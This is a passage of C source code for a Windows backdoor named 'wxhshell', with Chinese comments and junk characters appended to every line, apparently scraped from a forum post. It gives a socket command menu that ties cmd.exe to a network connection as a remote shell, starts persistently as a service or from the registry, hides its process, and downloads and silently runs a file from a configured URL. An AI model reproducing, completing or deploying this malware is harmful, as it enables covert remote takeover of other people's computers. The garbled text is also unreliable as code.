    switch(cmd[0]) { DpG|Kl|d  
  7;H!F!K]  
  // 帮助  +z/_'DE  
  case '?': { gc|?$aE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Eq$f (QJ  
    break; |fYr*8rH  
  } dq$H^BB+>  
  // 安装 $6~ J#;  
  case 'i': { Y_qRW. k  
    if(Install()) Kfho:e,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dk$[b9b  
    else :_R[@?c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X.)caF^j  
    break; fh rS7f'Zd  
    } |q&&"SpA  
  // 卸载 59eq"08  
  case 'r': { >cm*_26;I  
    if(Uninstall()) %J`cYn#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<XPE:1>Y  
    else r=8(n<;Co  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V[&4Km9C  
    break; t#pF.!9=  
    } x[]}Jf{t  
  // 显示 wxhshell 所在路径 (+Ia:D  
  case 'p': { I"/p^@IX  
    char svExeFile[MAX_PATH]; Er; @nOyD  
    strcpy(svExeFile,"\n\r"); h*J=F0KM  
      strcat(svExeFile,ExeFile); hdZ{8 rP  
        send(wsh,svExeFile,strlen(svExeFile),0); SM3Q29XIw  
    break; {<f_,Nlc  
    } S%ULGX:@ga  
  // 重启 ESdjDg$[u  
  case 'b': { :{za[,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N5$IVz}  
    if(Boot(REBOOT)) .qBL.b_`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E .2b@  
    else { y%* hHnGd  
    closesocket(wsh); lCmTm  
    ExitThread(0); ;9w: %c1  
    } [kfLT::mT  
    break; G&i<&.i  
    } O>P792)  
  // 关机 k+8K[ ?K-  
  case 'd': { KW^#DI6tr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RLuA^ONI  
    if(Boot(SHUTDOWN)) 1=fP68n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[34:J  
    else { fB~BVYi  
    closesocket(wsh); ruMS5OqM  
    ExitThread(0); ]xhZJ~"@u  
    } yk1.fxik'  
    break; rGPFPsMQ]  
    } s zgq7  
  // 获取shell $LxfdSa  
  case 's': { ,Mt/*^|  
    CmdShell(wsh); >lZ9Y{Y4v  
    closesocket(wsh); R $vo  
    ExitThread(0); &O0@)jIV  
    break; e;QPn(  
  } 2<18j  
  // 退出 ko-:) z  
  case 'x': { E038p]M!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &YAw~1A  
    CloseIt(wsh); $+#Lq.3,  
    break; xx^7  
    } _0Mt*]L }  
  // 离开 B]):$#{Rxl  
  case 'q': { | Vl Q0{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?V3kIb  
    closesocket(wsh); x3dP`<   
    WSACleanup(); Tnw0S8M  
    exit(1); R?,Oh*  
    break; e!+_U C  
        } X?p.U  
  } 9d4Agj M  
  } :i;iSrKy  
Ne6]?\Z  
  // 提示信息 Ebmd[A&&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2m$\]\kCUv  
} Vn4y^_H  
  } =D1%-ym  
Re`'dde=  
  return; l]pHj4`uv  
} a@>P?N~LA9  
6Dx^$=Sa$  
// shell模块句柄 -UJ; =/  
int CmdShell(SOCKET sock) +7HM7cw  
{ fT:a{  
STARTUPINFO si; znNJ?  
ZeroMemory(&si,sizeof(si)); 1:L _qL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FZUN*5`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +\@) 1  
PROCESS_INFORMATION ProcessInfo; @' V=Vr  
char cmdline[]="cmd"; @zz4,,]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hcQky/c\#b  
  return 0; 2swHJ.d\  
} GS!7HphR  
R~=_,JUW  
// 自身启动模式 a{oG[e   
int StartFromService(void) )Ha`>  
{ IWRo$Yu  
typedef struct Q Pel n)  
{ X4- _l$j  
  DWORD ExitStatus; nDt1oM H  
  DWORD PebBaseAddress; @Ido6Z7  
  DWORD AffinityMask; BqF%2{  
  DWORD BasePriority; -#9Hb.Q;  
  ULONG UniqueProcessId; x4r=ENO)q  
  ULONG InheritedFromUniqueProcessId; "s:eH"_s  
}   PROCESS_BASIC_INFORMATION; A,P_|  
Z= 'DV1A$,  
PROCNTQSIP NtQueryInformationProcess; ^rHG#^hA  
`|{6U"n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X=sC8Edx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zc}qAy'<  
\.@fAgv  
  HANDLE             hProcess; ^oL43#Nlo  
  PROCESS_BASIC_INFORMATION pbi; `{1&*4!  
PT`];C(he  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W .B>"u  
  if(NULL == hInst ) return 0; 47GL[ofY  
{~Q9jg(A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RB\0o,mw4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~^6[SbVb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?Re6oLm<B  
J ejDF*Q  
  if (!NtQueryInformationProcess) return 0; ?u*gKI  
U',.'"m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j@j%)CCM  
  if(!hProcess) return 0; mKsTA;  
F5*NK!U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F"#8`Ps>  
W(C\lSE0  
  CloseHandle(hProcess); *%{  
{*X8!P7C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T)!$-qdz/  
if(hProcess==NULL) return 0; $?Et sf#*'  
` |L l  
HMODULE hMod; 13:yaRo  
char procName[255]; \Mi] !b|8  
unsigned long cbNeeded; +PCsp'D d  
)_MIUQ%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =LFrV9  
Z#2AK63/T  
  CloseHandle(hProcess); W7j-siWJ  
rh8.kW-K_  
if(strstr(procName,"services")) return 1; // 以服务启动 tt|v opz  
#[4MwM3  
  return 0; // 注册表启动 VcLB0T7m\  
} shjq4# 9  
fn!(cE|`E  
// 主模块 17itC9U  
int StartWxhshell(LPSTR lpCmdLine) @,Re<%\  
{ &ye,A(4  
  SOCKET wsl; wRc=;f  
BOOL val=TRUE; Up(Jw-.  
  int port=0; Rk1B \L|M  
  struct sockaddr_in door; ^m3[mY [a  
#Cwzk{p(  
  if(wscfg.ws_autoins) Install(); <`'^rCWI?  
l$i^e|*  
port=atoi(lpCmdLine); E(0(q#n  
OG M9e!  
if(port<=0) port=wscfg.ws_port; eH*u,/  
d%"?^e  
  WSADATA data; :;wb{q$O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qtx5N)J6  
C< :F<[H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U%Igj:%?;`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S.!0~KR: U  
  door.sin_family = AF_INET; _n[4+S*v(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v,\2$q/  
  door.sin_port = htons(port); JOR ? xCc  
*zf@J'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BUuU#e5  
closesocket(wsl); /(aKhUjhb  
return 1; dHcGe{T^(  
} +<^TyIJ0  
WFOO6 kMz  
  if(listen(wsl,2) == INVALID_SOCKET) { q}nL'KQ,n  
closesocket(wsl); jq4'=L$4  
return 1; =<_ei|ME  
} p|W <xFk  
  Wxhshell(wsl); [jOvy>2K]  
  WSACleanup(); A YC22(  
2MN AY%iT  
return 0;  Ji>  
12NV  
} GM5s~,  
v{R:F  
// 以NT服务方式启动 qU'O4TWZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *-!&5~o/U  
{ ?\HXYCi0r  
DWORD   status = 0; }F*u 9E  
  DWORD   specificError = 0xfffffff; ng ZkBX  
9$9Pv%F:j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $ }u,uI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1I#S?RSb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bS0z\!1  
  serviceStatus.dwWin32ExitCode     = 0; 2 |fN*Wm  
  serviceStatus.dwServiceSpecificExitCode = 0; lC/4CPKtV  
  serviceStatus.dwCheckPoint       = 0; K1P3 FfG  
  serviceStatus.dwWaitHint       = 0; > 5i(U_`l  
K%Sy~6iD&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S?Y,sl+A:  
  if (hServiceStatusHandle==0) return; #+1*g4m~B  
%hYol89F  
status = GetLastError(); qlT'gUt=H  
  if (status!=NO_ERROR) fbbk;Rq.'3  
{ mkfU fG&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [l+1zt0w0  
    serviceStatus.dwCheckPoint       = 0; htn"rY(  
    serviceStatus.dwWaitHint       = 0; {9 >jWNx  
    serviceStatus.dwWin32ExitCode     = status; 4= VAJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; -{ Ng6ntS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zSYh\g"  
    return; XO)|l8t#$=  
  } `Gl@?9,i  
y<|vcg8x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @:'swO/\<  
  serviceStatus.dwCheckPoint       = 0; 0|0<[:(hc  
  serviceStatus.dwWaitHint       = 0; G22= 8V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /f!CX|U  
} wv 7j ES  
Wcy N, 5  
// 处理NT服务事件,比如:启动、停止 4uU G0o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \W<r`t4v  
{ fP41 B  
switch(fdwControl) J$)lYSNE  
{ G)A5;u\P9  
case SERVICE_CONTROL_STOP: EUv xil  
  serviceStatus.dwWin32ExitCode = 0; ^Zh YW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QdM&M^  
  serviceStatus.dwCheckPoint   = 0; ,q yp2Y7  
  serviceStatus.dwWaitHint     = 0; Qt_LBJUWV  
  { +jcg[|-' /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _v2 K1 1  
  } P)?)H]J"  
  return; "{0 o"k  
case SERVICE_CONTROL_PAUSE: RlU=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dP(*IOO.  
  break; X<4h"W6  
case SERVICE_CONTROL_CONTINUE: 4Fr0/="H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X@u-n_  
  break; IrU}%ZVV  
case SERVICE_CONTROL_INTERROGATE: LPgP;%ohO/  
  break; Lh~Ym<CeN  
}; ~ #Gu:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xF*C0B;QL  
} $=8?@My<  
?`Oh]2n)6  
// 标准应用程序主函数 jI$}\*g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n<;T BK  
{ sF?N vp  
.7-Yu1{2  
// 获取操作系统版本 f Q.ea#xh^  
OsIsNt=GetOsVer(); cGw*edgp6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uy~KJn?Tu  
[@@Ovv  
  // 从命令行安装 *yGOm i  
  if(strpbrk(lpCmdLine,"iI")) Install(); >r7{e:~q  
$wa )e  
  // 下载执行文件 K[ZgT$zZ  
if(wscfg.ws_downexe) { iVM{ L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :%Dw3IrOM  
  WinExec(wscfg.ws_filenam,SW_HIDE); h(hb?f@1:  
} `;L0ax  
W?m?r.K?  
if(!OsIsNt) { fL7ym,?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZFy>Z:&S,  
HideProc(); 1!RD kZw e  
StartWxhshell(lpCmdLine); |9)Q =(  
} ' vO+,-  
else hia_CuY#  
  if(StartFromService()) ;b:Ct<  
  // 以服务方式启动 wVD-}n1"  
  StartServiceCtrlDispatcher(DispatchTable); B$b'bw.  
else Xidt\08s  
  // 普通方式启动 6Cut[*lj^  
  StartWxhshell(lpCmdLine); 7kM_Ijd$  
zV {[0s  
return 0; )B@veso{  
}
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只看该作者 1 发表于: 2006-10-10
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